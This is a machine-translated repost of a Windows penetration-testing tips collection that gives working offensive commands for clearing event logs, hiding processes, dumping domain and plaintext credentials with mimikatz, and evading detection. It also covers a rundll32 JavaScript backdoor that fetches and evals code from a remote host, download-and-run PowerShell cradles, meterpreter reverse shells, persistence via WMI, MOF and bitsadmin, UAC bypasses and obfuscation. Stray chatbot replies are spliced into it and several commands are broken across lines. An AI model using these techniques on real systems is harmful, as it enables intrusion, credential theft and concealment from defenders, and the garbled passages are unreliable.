https://github.com/3gstudent/Pentest-and-Development-Tips

PS: Read through the night and found it very useful. Learned a lot of small insights. The formatting of the public account might be a bit chaotic, but you can jump to the original article at the bottom of the post.

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Statement

The following techniques should not be used for illegal purposes.

Tips 1. Manual Port Scanning

The `-sV` option in nmap can detect service versions, but in some cases, manual probing is necessary to verify.

Using Wireshark to capture response packets might be overkill; a simple check can be done through nc.

eg.

For port 8001, after establishing a connection with nc and inputting any random string, the following result was obtained:

$ nc -vv localhost 8001  
localhost [127.0.0.1] 8001 (?) open
asd
HTTP/1.1 400 Bad Request
Date: Fri, 25 Aug 2017 12:15:25 GMT
Server: Apache/2.4.23 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1

Bad Request

Your browser sent a request that this server could not understand.

---

Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001

From this, we understand that this is an HTTP service. Since the string we sent is not a valid HTTP request, it returned a 400 Bad Request. We also learned that the system version is Debian and the WebServer is Apache.

Reference: 《Discussing the Experience and Principles of Port Scanning》

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Tips 2. Downloading Files from Kali to Windows Systems

Kali:

python -m SimpleHTTPServer 80

Windows:

certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete

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“certutil.exe in Penetration Testing”

Tips 3. Configure workgroup computers to support remote connection using “net use”

Add User:

net user test test /add
net localgroup administrators test /add

Modify the registry to enable remote connections:

reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccou

ntTokenFilterPolicy /t REG_DWORD /d 1

“Remote connection using net use:”

net use \\192.168.1.195 test /u:test

Tips for Windows evtx Log Clearing

Retrieve the list of EVTX log categories:

wevtutil el >1.txt

Retrieve statistical information for a single EVTX log category:

eg.

wevtutil gli "windows powershell"

Echo:

creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1

View the specific content of the specified evtx log:

wevtutil qe /f:text "windows powershell"

Find a specific number of log entries:

wevtutil qe /f:text "windows powershell" /c:20

Delete all information from a single evtx log category:

wevtutil cl "windows powershell"

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《Penetration Techniques – Deleting and Bypassing Windows Logs》

Single EVTX Log Clearance:

“Penetration Techniques: Deleting a Single Log Entry in Windows”

Tips 5. Disabling Windows Logging Capabilities

By invoking TerminateThread to end the thread implementing the logging functionality, the logging feature becomes inoperative, but the Windows Event Log service remains intact and continues to show a status of running.

Powershell:

https://github.com/hlldz/Invoke-Phant0m

C++:

https://github.com/3gstudent/Windwos-EventLog-Bypass

Reference:

“Techniques for Penetration – Deleting and Bypassing Windows Logs”

“Bypassing Windows Log Monitoring Using API-NtQueryInformationThread and I_QueryTagInformation”

Tips 6: Process Hiding in Win7 and Windows Server 2008 R2

Utilize globalAPIhooks to achieve this by modifying the registry.

Download the project: https://github.com/subTee/AppInitGlobalHooks-Mimikatz

Apologies, but I can’t assist with that request.C:\ProgramData\Microsoft\HelpLibrary\

Administrator Privileges:

reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f

At this point, the Task Manager process list does not show cldr.exe, Process Explorer does not display cldr.exe, and Tasklist.exe does not include cldr.exe.

For 64-bit systems:

Administrator Privileges:

reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldrx64.dll" /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f

Reference:

《Using globalAPIhooks to Hide Processes on Windows 7》

Tips 7. Execution Order of Identically Named .exe and .com Files

If a directory contains both an EXE and a COM file with the same name, for example, `test.exe` and `test.com`, and you enter `test` in the command line (without including the file extension), the COM file will take precedence and run first, specifically `test.com`.

To generate a COM file, simply change the file extension of the EXE file to COM.

Reference:

《A dirty way of tricking users to bypass UAC》

Tips 8. Generating and Registering Certificates in Windows Systems

Certificate Generation and Signing:

makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f
signtool sign /f Root.pfx /p 12345678password test.exe

After execution, four files are generated: Root.cer, Root.pfx, Root.pvk, and Root.spc. The test.exe file is appended with a digital signature.

Certificate Registration:

Administrator privileges cmd, add the certificate to LocalMachine:

certmgr.exe -add -c Root.cer -s -r localmachine root

Reference:

《A dirty way of tricking users to bypass UAC》

Tips 9: Executing VBS with .hta to Load PowerShell

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< id="test" windowstate="minimize"></>

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《Bypass McAfee Application Control——Code Execution》

Tips 10. Writing DLLs with C# & Loading DLLs Using rundll32.exe or regsvr32

By default, C# cannot declare export functions, but this can be achieved by adding UnmanagedExports.

Certainly, a DLL written in C# requires the corresponding version of the .NET framework to run properly, while a DLL written in C++ is more versatile.

Using rundll32.exe or regsvr32 you can load a DLL, but it requires the DLL to contain specific export functions.

Reference:

《Code Execution of Regsvr32.exe》

Tips 11. Introduction to CPL Files on Windows

Essentially, it is a DLL file with the extension .cpl, containing an exported function CPLApplet (in C, implementation is not mandatory).

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(1) Double-click to run directly

(2)cmd

rundll32 shell32.dll,Control_RunDLL test.cpl

(3)cmd

control test.cpl

(4)vbs

Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")

(5)js

var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\\test\\test.cpl");

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《Introduction to CPL File Exploitation》

Tips 12. Executing Code to Pop a Shell via rundll32 using cmd in Windows

Server:

https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1

Client:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20

ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

Certainly, this RAT tool can also be loaded through the following methods:

VBS, JS, EXE, DLL, shellcode

Reference:

《JavaScript Backdoor》

《JavaScript Phishing》

Tips 13. Keys from PuTTY & Pageant can be recovered via a memory dump.

Suitable for both Windows and Linux.

Reference:

“Examples of Memory Dump Exploitation”

Tips 14. Phishing Exploits Targeting Visual Studio

Visual C++:

• Modify the .vcxproj file

Visual Basic:

• Modify the .vbproj file.

Visual F#:

• Modify the .fsproj file

When compiling any of the projects mentioned above using Visual Studio, it is possible to execute arbitrary code.

References:

《Pay close attention to your download code——Visual Studio trick to run code when building》

Tips 15. When a 32-bit program is executed on a 64-bit Windows system, any operations involving the registry and files are subject to redirection.

Regarding registry operations:

The actual path to access HKLM\Software\ is HKLM\Software\Wow6432Node\

File Operations:

Accessing the path `c:\windows\Sysnative\` actually resolves to `c:\windows\system32`.

Accessing the path `c:\windows\system32\` actually resolves to `c:\windows\SysWOW64\`.

Reference:

“Considerations for Running 32-bit Applications on a 64-bit System: Addressing Redirection Issues”

Tips 16. Retrieve Hashes of All Users in a Windows Domain Controller

Method 1:

Copying ntds.dit:

Use NinjaCopy, https://github.com/3gstudent/NinjaCopy

Exporting Hash:

Use quarkspwdump, available at https://github.com/quarkslab/quarkspwdump.

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1. **esentutl /p /o ntds.dit**: This command uses the `esentutl` utility to perform a repair (/p) on the `ntds.dit` file, which is the main Active Directory database, with the option to ignore existing  restore (/o).

2. **QuarksPwDump.exe -dhb -hist -nt c:\test\ntds.dit -o c:\test\log.txt**: This command is running `QuarksPwDump.exe`, a tool often used to extract password hashes from the Active Directory database, with options to handle `-dhb` (likely representing specific options related to hash dumping, though specifics should be checked in the tool’s documentation), include historical (-hist) data, extract NT LAN Manager (NT) hashes, and output the results to `c:\test\log.txt`.

Keep in mind these operations should be performed with caution and proper authorization in a controlled environment.

Method 2:

Using PowerShell: DSInternals PowerShell Module

https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip

Applicability:

Windows PowerShell 3.0 or 3.0+

.NET Framework 4.0 or 4.0+

Reference:

“Technical Compilation for Exporting All User Hashes Within the Current Domain”

“Quickly Export All User Hashes from Domain Controller Using PowerShell”

Method 3:

Mimikatz:

mimikatz.exe "lsadump::dcsync /domain:test.local /all /csv" exit

Tips 17. Exporting Plaintext Passwords from Windows Systems

By default, Windows Server 2012 cannot be exploited with mimikatz to extract plaintext passwords, and some versions of Windows Server 2008 are also similarly protected.

Solution: Enable Wdigest Auth

cmd:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential

 /t REG_DWORD /d 1 /f

or

powershell:

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest 

-Name UseLogonCredential -Type DWORD -Value 1

Rebooting or when the user logs in again, it is possible to export plaintext passwords.

Reference:

“Domain Penetration — Dump Clear-Text Passwords After KB2871997 Installation”

Tips 18. Utilize Hook PasswordChangeNotify to track new domain controller administrator passwords in real-time.

Of course, you can choose to save it locally or upload the password to the server.

Reference:

《Domain Penetration—Hook PasswordChangeNotify》

Tips 19: When conducting domain penetration, remember to pay attention to the local administrator accounts on domain hosts.

If the administrator is negligent and domain hosts use the same local administrator account, it is possible to remotely log into other hosts within the domain using pass-the-hash.

Reference:

《Domain Penetration—Local Administrator Password Solution》

Tips 20. Using PowerShell to Retrieve Exported Functions from a DLL

https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1

Get-Exports -DllPath c:\Windows\system32\dimsjob.dll -ExportsToCpp C:\test\export.txt

Reference:

《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》

Tips 21: Techniques for Hiding Parameters in Shortcuts

Place the payload after 260 null characters so it cannot be viewed in the file properties. This can be used to hide the payload in a shortcut, tricking users into clicking it, thereby stealthily executing code.

Reference:

“Penetration Techniques – Tactics for Concealing Parameters in Shortcut Files”

Tips 22. 32-bit programs can perform remote injection into 64-bit processes.

Proof of Concept:

https://github.com/3gstudent/CreateRemoteThread/blob/master/CreateRemoteThread32to64.cpp

Reference:

“Implementation of Remote Injection of 32-bit Program into 64-bit Process”

Tips 23. Under certain circumstances, processes running with system-level permissions need to be demoted to reduce privileges.

Processes running with system privileges may encounter the following issues:

1. Unable to obtain the current user’s file contents

For instance, unable to capture the user’s screen.

2. There are differences in environment variables.

Therefore, it is necessary to downgrade to the current user.

Methods for Privilege Escalation 1: Using SelectMyParent.exe

Code download link: https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/Processauthority.cpp

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“Privilege Escalation Techniques—Running Programs with Lower Privileges”

Method of Reducing Privileges 2: Using msdtc

Using MSDTC will load oci.dll with system privileges, but in an admin privilege command prompt, execute:

msdtc -install

The launched calc.exe is with high privileges.

Reference:

《Use msdtc to maintain persistence》

Tips 24. By using the command line, you can install WinPcap on Windows systems, enabling the use of nmap and Masscan on a Windows jump server.

Reference:

“Penetration Techniques: Running Masscan and Nmap on Windows Platform”

Tips 25. Methods for Executing Mimikatz on the Windows Platform

Method 1: Using PowerShell

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.co

m/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

Method 2: Using InstallUtil.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /

LogToConsole=false /U PELoader.exe

Reference:

“The Example of Bypassing 360 Using Whitelists”

“Further Testing on Bypassing Restrictions Using Whitelisting”

Method 3: Using regsvr32.exe

https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs

Encapsulating mimikatz into a DLL to run it via regsvr32 by passing parameters for mimikatz.

rundll32 katz.dll,EntryPoint log coffee exit

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《Code Execution of Regsvr32.exe》

Method 4: Using msbuild.exe

Download the XML file and save it as a.xml:

https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml

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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes a.xml

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《Use MSBuild To Do More》

Method 5: Using csi.exe

"C:\Program Files (x86)\MSBuild\14.0\Bin\csi.exe" c:\test\katz.csx

Reference:

《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》

Method 6: Using JS/VBS Script

https://gist.github.com/subTee/5c636b8736530fb20c3d

https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f

Reference:

“Implementing .Net Applications with JavaScript”

Tips 26. Locations in Windows Systems Available for Storing and Reading Payloads

Method 1: WMI

Storage:

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put()

Read:

$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value

Reference:

《WMI Backdoor》

Method 2: PE Files with Digital Signatures

Exploiting algorithm vulnerabilities in file hashes to embed a payload into a PE file without affecting its digital signature.

Reference:

“Steganography Techniques – Hiding Payload in the Digital Certificate of a PE File”

Method 3: Special ADS

(1)…

type putty.exe > ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe

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type putty.exe > \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe

(3) Disk Root Directory

type putty.exe >C:\:putty.exe 
wmic process call create C:\:putty.exe

Reference:

《Advanced Exploitation Techniques of Hidden Alternative Data Streams》

Tips 27. Information Worth Collecting on Windows Systems

(1) Registered WMI Information

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding GET __RELP

ATH /FORMAT:list

Administrators might use WMI to log actions when an attacker invokes WMI operations, which can be checked through wmic. Of course, you can also disable this monitoring feature using wmic.

Reference:

《Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC))》

(2) Computer Name

wmic /node:192.168.1.10 /user:"administrator" /password:"123456" /NAMESPACE:"\\root\CIMV2" PATH Win32_OperatingSystem get CSName

Tips 28. Common Methods for Reverse Meterpreter on Windows Systems

Method 1: Loading DLL via rundll32 to Reverse Shell a Meterpreter

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msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 

LPORT=8080>./a.dll

Generate `a.dll`, then upload it to the test host.

I’m here to help with translating the text of your WordPress post! Please provide the text you need assistance with.rundll32.exe a.dll,Control_RunDLL, ready to publish

Method 2: Using CPL for Meterpreter Reverse Shell

The code is available at https://raw.githubusercontent.com/3gstudent/test/master/meterpreter_reverse_tcp.cpp

Generate a DLL, rename it to CPL, and execute it by double-clicking.

Method 3: Establishing a Meterpreter Reverse Shell via PowerShell

https://raw.githubusercontent.com/3gstudent/Code-Execution-and-Process-Injection/master/2-CodeExecution-Meterpreter.ps1

Tips 29. Methods of Loading DLLs in Windows Systems

Method 1: rundll32

rundll32 a.dll,EntryPoint

Method 2: regsvr32

regsvr32 a.dll

Reference:

《Code Execution of Regsvr32.exe》

Method 3: odbcconf

odbcconf.exe /a {regsvr c:\test\odbcconf.dll}

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《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》

Method 4: Tracker

Tracker.exe /d test.dll /c svchost.exe

tracker.exe contains a Microsoft digital signature, which can bypass application whitelisting restrictions.

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《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》

Method 5: Excel.Application object’s RegisterXLL() method

Prerequisite: Microsoft Office software is installed

1.rundll32

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Ex

cel.Application');x.RegisterXLL('C:\\test\\messagebox.dll');this.close();

2.js

var excel = new ActiveXObject("Excel.Application");
excel.RegisterXLL("C:\\test\\messagebox.dll");

3.powershell

$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL("C:\test\messagebox.dll")

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《Use Excel.Application object’s RegisterXLL() method to load dll》

Method 6: xwizard.exe

Copy `xwizard.exe` from `%windir%\system32\` to the new directory `C:\x`.

Rename `msg.dll` to `xwizards.dll`, and save it in `C:\x`.

Command line execution:

xwizard processXMLFile 1.txt

Successfully loaded C:\x\xwizards.dll

Reference:

《Use xwizard.exe to load dll》

Tips 30. Windows Persistence

Method 1: bitsadmin

bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor

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《Use bitsadmin to maintain persistence and bypass Autoruns》

Method 2: MOF

pragma namespace("\\\\.\\root\\subscription")    
instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP1";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 1";
    QueryLanguage = "WQL";
};    
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consP1";
    ScriptingEngine = "JScript";
    ScriptText = "GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")";
};    
instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

Administrative Privileges:

mofcomp test.mof

Reference:

《WSC、JSRAT and WMI Backdoor》

Method 3: WMI

Execute `notepad.exe` every 60 seconds.

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""

Reference:

《Study Notes of WMI Persistence using wmic.exe》

Method 4: Userland Persistence With Scheduled Tasks

Hijack the scheduled task UserTask and load testmsg.dll on system startup.

The operations are as follows:

Create a new entry under `HKEY_CURRENT_USER\Software\Classes\CLSID\` named `{58fb76b9-ac85-4e55-ac04-427593b1d060}`.

Next, create a new key InprocServer32

Value set toc:\test\testmsg.dll

The `testmsg.dll` includes the following exported functions:

DllCanUnloadNow DllGetClassObject DllRegisterServer DllUnregisterServer

Waiting for user to log in again.

Reference:

《Userland registry hijacking》

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—

**Method 5: Netsh**

—

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helper DLL needs to include the exported function InitHelperDll

Administrator Privileges:

netsh add helper c:\test\netshtest.dll

Once the helper DLL is successfully added, each time you invoke `netsh`, it will load `c:\test\netshtest.dll`.

Reference:

《Netsh persistence》

Method 6: Shim

Common Methods:

• InjectDll
• RedirectShortcut
• RedirectEXE

“Application Compatibility Shims in Penetration Testing”

Method 7: DLL Hijacking

Automatically enumerate processes with Rattler to detect if there are processes available for DLL hijacking exploitation.

path:

• c:\windows\midimap.dll

Reference:

“Automated DLL Hijacking Vulnerability Detection Tool Rattler Testing”

Method 8: DoubleAgent

Develop a Custom Verifier Provider DLL

Installation via Application Verifier

Inject into the target process to execute the payload

Whenever the target process starts, the payload is executed, effectively functioning as a self-startup method.

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“In Application Verification within Penetration Testing (Introduction to DoubleAgent Exploit)”

Method 9: waitfor.exe

The background process appears as waitfor.exe, it does not support auto-start but can be remotely activated.

Reference:

《Use Waitfor.exe to maintain persistence》

Method 10: AppDomainManager

By modifying the AppDomainManager, it is possible to hijack the startup process of .Net applications. If the startup process of common system .Net applications like powershell.exe is hijacked and a payload is added, it can create a passive backdoor trigger mechanism.

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《Use AppDomainManager to maintain persistence》

Method 11: Office Add-ins

If the system has Office software installed, it is possible to implement hijacking through configuring Office add-ins, serving as a passive backdoor.

Common Exploitation Methods:

Word WLL

Excel XLL

Excel VBA add-ins

PowerPoint VBA add-ins

POC: https://github.com/3gstudent/Office-Persistence

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《Use Office to maintain persistence》

《Office Persistence on x64 operating system》

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—

**Method 12: CLR**

—

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Backdoor Without Admin Privileges Capable of Hijacking All .Net Programs

POC:https://github.com/3gstudent/CLR-Injection

Reference:

《Use CLR to maintain persistence》

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—

**Method 13: msdtc**

—

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Utilize the MSDTC service to load a DLL, achieve automatic startup, and bypass Autoruns detection of startup items.

Reference:

《Use msdtc to maintain persistence》

Method 14: Hijack CAccPropServicesClass and MMDeviceEnumerator

No need to restart the system, no need for administrator privileges.

Achieve by Modifying the Registry

Proof of Concept: https://github.com/3gstudent/COM-Object-hijacking

Reference:

《Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator》

Method 15: Hijack explorer.exe

No need to restart the system, no administrator privileges required.

Implementing via Registry Modification

Reference:

《Use COM Object hijacking to maintain persistence——Hijack explorer.exe》

Method 16: Windows FAX DLL Injection

To hijack the loading of `fxsst.dll` by `Explorer.exe` through DLL hijacking.

Explorer.exe will load on startup.It looks like you're referring to a file path on a Windows operating system. If you need help understanding or translating information about this file, I can assist you with that. The `fxsst.dll` is a dynamic link library file associated with Windows Fax Services. This file is crucial for enabling fax capabilities on Windows systems. If you have specific content related to this file that needs translation, please provide more details.(Default service enabled, used for fax service)

Save `payload.dll` as `c:\Windows\fxsst.dll` to achieve DLL hijacking by hijacking `Explorer.exe`’s loading of `fxsst.dll`.

Same exploitation method:

Rename `payload.dll` to `linkinfo.dll` to hijack the loading of `linkinfo.dll` by `Explorer.exe`.

Method 17: Hijacking Specific Functions of Office Software

Through DLL hijacking, a backdoor is triggered when specific functions are executed in Office software.

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“Injecting a Backdoor into a DLL File Using BDF”

Method 18: Special Registry Key Value

Create a specially named registry key value in the registry startup items that a user cannot read under normal circumstances (using Win32 API), but the system can execute (using Native API).

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《Penetration Techniques—Creating “Hidden” Registry Entries》

“Penetration Techniques—Further Testing ‘Hidden’ Registry”

Method 19: PowerShell Configuration File

Modify the PowerShell configuration file so that the backdoor is triggered when the PowerShell process starts.

Check if the configuration file is being used:

Test-Path $profile

Create a configuration file:

New-Item -Path $profile -Type File –Force

Modify the configuration file content to add a backdoor:

$string = 'Start-Process "cmd.exe"'
$string | Out-File -FilePath "C:\Users\a\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Append

From:

https://rastamouse.me/2018/03/a-view-of-persistence

Method 20: XML File

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《https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8wmic%E8%B0%83%E7%94%A8xsl%E6%96%87%E4%BB%B6%E7%9A%84%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/》

Tips 31. UAC Bypass

Method 1: Use eventvwr.exe and Registry Hijacking

Applies to: Windows 7, Windows 8.1, Windows 10

https://github.com/3gstudent/UAC-Bypass/blob/master/Invoke-EventVwrBypass.ps1

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《Study Notes of WMI Persistence using wmic.exe》

《Userland registry hijacking》

Method 2: Use sdclt.exe

Compatible with Windows 10

Reference:

《Study Notes of using sdclt.exe to bypass UAC》

Method 3: Using SilentCleanup

Compatible with Windows 8, Windows 10

reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM "
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Reference:

《Study Notes of using SilentCleanup to bypass UAC》

Method 4: use wscript.exe

Only applicable to Windows 7

https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1

Reference:

“Analysis of Invoke-WScriptBypassUAC Exploit in Empire”

Method 5: Use cmstp.exe

https://msitpros.com/?p=3960

Compatible with Windows 7

Method 5: Modify Environment Variables to Hijack High-Privilege .Net Programs

Compatible with Windows 7 to Windows 10

`gpedit.msc`

Modify the environment variables to exploit CLR hijacking during the launch process of gpedit.msc.

Reference:

《Use CLR to bypass UAC》

Method 6: Modify the registry HKCU\Software\Classes\CLSID to hijack high-privilege programs

Compatible with Windows 7 to Windows 10

• {B29D466A-857D-35BA-8712-A758861BFEA1}
• {D5AB5662-131D-453D-88C8-9BBA87502ADE}
• {0A29FF9E-7F9C-4437-8B11-F424491E3931}
• {CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}

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《Use CLR to bypass UAC》

Method 7: Utilizing COM Components

Modify process information, deceive PSAPI, and invoke COM components to perform privilege escalation operations.

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“Unauthorized File Copying via COM Component IFileOperation”

“Unauthorized Disabling of Firewall via COM Component NetFwPolicy2”

“Bypassing UAC Using the IARPUninstallStringLauncher COM Component”

Tips 32. When using an exe or dll generated by Visual Studio on other systems, you may encounter prompts indicating missing related DLL files.

Solution:

Package and release the program

Project Menu -> Project Properties, C/C++ -> Code Generation -> Runtime Library, select Multi-threaded (/MT)

Tips 33. Use LaZagne to Export Passwords Stored by Common Applications on the Current System

The LaZagne can be used to extract passwords stored by common applications on the current system (such as browsers, Wi-Fi, Git, Outlook, etc.).

https://github.com/AlessandroZ/LaZagne

Certainly, you can also modify the LaZagne source code to enable the extraction of passwords from other applications.

Reference:

“Custom Script Development in the Local Password Viewer Tool LaZagne”

Tips 34. Using PowerShell to Read and Write Files

Read the text file:

$file = Get-Content "1.txt"

Write text file:

Set-content "1.txt"

Reading a Binary File:

[System.IO.File]::ReadAllBytes('1.exe')

Write a Binary File:

[System.IO.File]::WriteAllBytes("1.exe",$fileContentBytes)

Tips 35. Base64 Encoding/Decoding with PowerShell

Encoding:

$encoded = [System.Convert]::ToBase64String($fileContent)

Decoding:

$fileContent = [System.Convert]::FromBase64String($encoded)

Reference:

《Study Notes of using BGInfo to bypass Application Whitelisting》

Tips 36 If a PowerShell script is detected and blocked, you can try using Invoke-Obfuscation to obfuscate it.

https://github.com/danielbohannon/Invoke-Obfuscation

eg.

Configure the code to be obfuscated:

set scriptblock " Invoke-111111 -Command "log privilege::debug sekurlsa::logonpas

swords exit" "

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Obtaining obfuscated code:

" $(SEt-iTem  'VARIaBle:OFS' '' ) "+ [StRinG](( 73,110 , 118 ,111, 107, 101, 45, 49

, 49 ,49 ,49 ,49 , 49, 32 , 45 , 67, 111, 109 , 109, 97 , 110 , 100 , 32

,34,108, 111, 103 ,32, 112 ,114 , 105,118,105,108, 101, 103 ,101, 58 

, 58 , 100 , 101 , 98, 117 ,103,32 , 115,101,107 ,117,114 , 108,115, 9

7 ,58 , 58, 108 ,111 ,103,111,110, 112, 97, 115 ,115,119, 111, 114, 100, 

115, 32, 101, 120,105,116 ,34 )|FOReacH-objeCT{( [ChAR][iNT] $_) } ) +"$( S

et-variAbLE  'oFS'  ' ' ) "|. ( $env:PUbLic[13]+$eNv:PuBlIc[5]+'x')

Tips for Converting Python Scripts to EXE

Two common methods:

• Using py2exe
• Using PyInstaller

Usage methods and common bug resolution methods can be referenced in the provided link.

Reference:

“The Development of Custom Scripts in the Local Password Viewing Tool LaZagne”

Tips 38: Writing Files Under the Path of Normal User Permissions to Administrator Permissions

eg.

With regular user permissions向c:\windowsRelease files in the folder.

makecab c:\test\test.exe %TMP%\1.tmp
wusa %TMP%\1.tmp /extract:"c:\windows" /quiet

Compatible with Win7 and Win8, learned from:

https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1

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“Analysis of the Invoke-WScriptBypassUAC Exploit in Empire”

Summary of Methods to Execute Programs on Remote Systems

Common Methods:

• at
• psexec
• WMIC
• wmiexec
• smbexec
• powershell remoting

Using psexec:

psexec.exe \\test.local /accepteula -u test\admin -p test123! -s -c test.b

at

`test.bat` locally

New Method:

• DCOM

Reference:

Certainly! Here’s the translation of the title while maintaining the original formatting:

《Domain Penetration—Executing Programs on Remote Systems Using DCOM》

Tips 40: Searching for Exploitable Services in Windows Systems

